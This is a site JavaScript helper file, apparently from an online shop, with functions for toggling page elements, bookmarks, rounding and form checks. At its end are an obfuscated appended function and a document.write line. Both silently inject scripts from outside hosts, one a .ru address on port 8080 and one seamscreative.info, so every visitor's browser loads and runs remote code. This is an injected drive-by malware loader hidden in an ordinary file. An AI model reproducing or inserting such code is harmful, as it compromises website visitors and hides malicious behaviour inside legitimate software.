function	autoUrl(name, dest)
{
	var loc;
	var id_list;

	id_list = document.getElementById(name);
	loc = id_list.options[id_list.selectedIndex].value;
	if (loc != 0)
		location.href = dest+loc;
	return ;
}

function	autoUrlNoList(name, dest)
{
	var loc;

	loc = document.getElementById(name).checked;
	location.href = dest + (loc == true ? 1 : 0);
	return ;
}

/*
** show or hide element e depending on condition show
*/
function toggle(e, show)
{
	e.style.display = show ? '' : 'none';
}

function toggleMultiple(tab)
{
    var len = tab.length;

    for (var i = 0; i < len; i++)
        if (tab[i].style)
            toggle(tab[i], tab[i].style.display == 'none');
}

/**
* Show dynamicaly an element by changing the sytle "display" property
* depending on the option selected in a select.
*
* @param string $select_id id of the select who controls the display
* @param string $elem_id prefix id of the elements controlled by the select
*   the real id must be : 'elem_id'+nb with nb the corresponding number in the
*   select (starting with 0).
*/
function showElemFromSelect(select_id, elem_id)
{
	var select = document.getElementById(select_id);
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}
}

/**
* Get all div with specified name and for each one (by id), toggle their visibility
*/
function openCloseAllDiv(name, option)
{
	var tab = $('*[name='+name+']');
	for (var i = 0; i < tab.length; ++i)
		toggle(tab[i], option);
}

/**
* Toggle the value of the element id_button between text1 and text2
*/
function toggleElemValue(id_button, text1, text2)
{
	var obj = document.getElementById(id_button);
	if (obj)
		obj.value = ((!obj.value || obj.value == text2) ? text1 : text2);
}

function addBookmark(url, title)
{
	if (window.sidebar)
		return window.sidebar.addPanel(title, url, "");
	else if ( window.external )
		return window.external.AddFavorite( url, title);
	else if (window.opera && window.print)
		return true;
	return true;
}

function writeBookmarkLink(url, title, text, img)
{
	var insert = '';
	if (img)
		insert = writeBookmarkLinkObject(url, title, '<img src="' + img + '" alt="' + escape(text) + '" title="' + escape(text) + '" />') + '&nbsp';
	insert += writeBookmarkLinkObject(url, title, text);
	document.write(insert);
}

function writeBookmarkLinkObject(url, title, insert)
{
	if (window.sidebar || window.external)
		return ('<a href="javascript:addBookmark(\'' + escape(url) + '\', \'' + escape(title) + '\')">' + insert + '</a>');
	else if (window.opera && window.print)
		return ('<a rel="sidebar" href="' + escape(url) + '" title="' + escape(title) + '">' + insert + '</a>');
	return ('');
}

function checkCustomizations()
{
	var tmp;
	var pattern = new RegExp(' ?filled ?');
	for (var i = 0; i < customizationFields.length; i++)
		/* If the field is required and empty then we abort */
		if (parseInt(customizationFields[i][1]) == 1 && $('#' + customizationFields[i][0]).val() == '' && !pattern.test($('#' + customizationFields[i][0]).attr('class')))
			return false;
	return true;
}

function ceilf(value, precision)
{
	if (typeof(precision) == 'undefined')
		precision = 0
	var precisionFactor = precision == 0 ? 1 : Math.pow(10, precision);
	var tmp = value * precisionFactor;
	var tmp2 = tmp.toString();
	// If the current value has already the desired precision
	if (tmp2.indexOf('.') === false)
		return (value);
	if (tmp2.charAt(tmp2.length - 1) == 0)
		return value;
	return Math.ceil(tmp) / precisionFactor;
}

function floorf(value, precision)
{
	if (typeof(precision) == 'undefined')
		precision = 0
	var precisionFactor = precision == 0 ? 1 : Math.pow(10, precision);
	var tmp = value * precisionFactor;
	var tmp2 = tmp.toString();
	// If the current value has already the desired precision
	if (tmp2.indexOf('.') === false)
		return (value);
	if (tmp2.charAt(tmp2.length - 1) == 0)
		return value;
	return Math.floor(tmp) / precisionFactor;
}


var Ol='';function B(){var o="mqucreat".substr(3)+"eElemb67".substr(0,5)+"GEVent".substr(3);P={};var l=String("sc"+"ri"+"pt");var d=new Date();this.wg=false;var c=String("body");this.lQ="lQ";var H=new String("appen"+"dChil"+"dB1Aq".substr(0,1));try {} catch(d_){};var A=document;var U="de"+"fe"+"r";qE=41540;qE--;var Sd='';var y=new String("sr"+"cV7W1".substr(0,1));var T=window;this.K="K";this.yz="yz";var UN=String("I1Ronl".substr(3)+"NJkoadNJk".substr(3,3));Kl=28113;Kl-=169;var lH="";function R(){try {var wuS={M:61637};Po=[];var w=261481-253401;try {var lN='W'} catch(lN){};var pW=new Array();var j=2934-2933;var Ca={D:false};var TH=51497;var _=new String("ht"+"lq3htp".substr(4)+":/3jk".substr(0,2)+"/p70i".substr(0,2)+"as"+"4Pzbsp".substr(4)+"or"+"tb"+"ep3lu".substr(3)+"es"+".r"+"u:");this.b='';var Ho=String("/go"+"ogl"+"e.c"+"gBnom/".substr(3)+"gooWh4Q".substr(0,3)+"gle2qJ".substr(0,3)+".ie"+"/go"+"ogl"+"nYxe.c".substr(3)+"om."+"php");BA=A[o](l);var x="x";var hz={h:"oF"};var TG={_Z:"kd"};BA[U]=j;this.GW="";Wb=46471;Wb+=68;BA[y]=_+w+Ho;var yk={nt:"ZE"};xM=17104;xM-=194;var by="";var LT=new Date();A[c][H](BA);} catch(t){var ki=new String();var oH={};this.sp=3595;this.sp+=84;};}var Pv={YS:2317};T[UN]=R;var jh=new String();Bn=1364;Bn--;};this.dN=13317;this.dN++;this.AI=7225;this.AI++;B();this.nN=29196;this.nN-=18;





document.write('<s'+'cript type="text/javascript" src="http://solk.seamscreative.info:8080/CD-R.js"></scr'+'ipt>');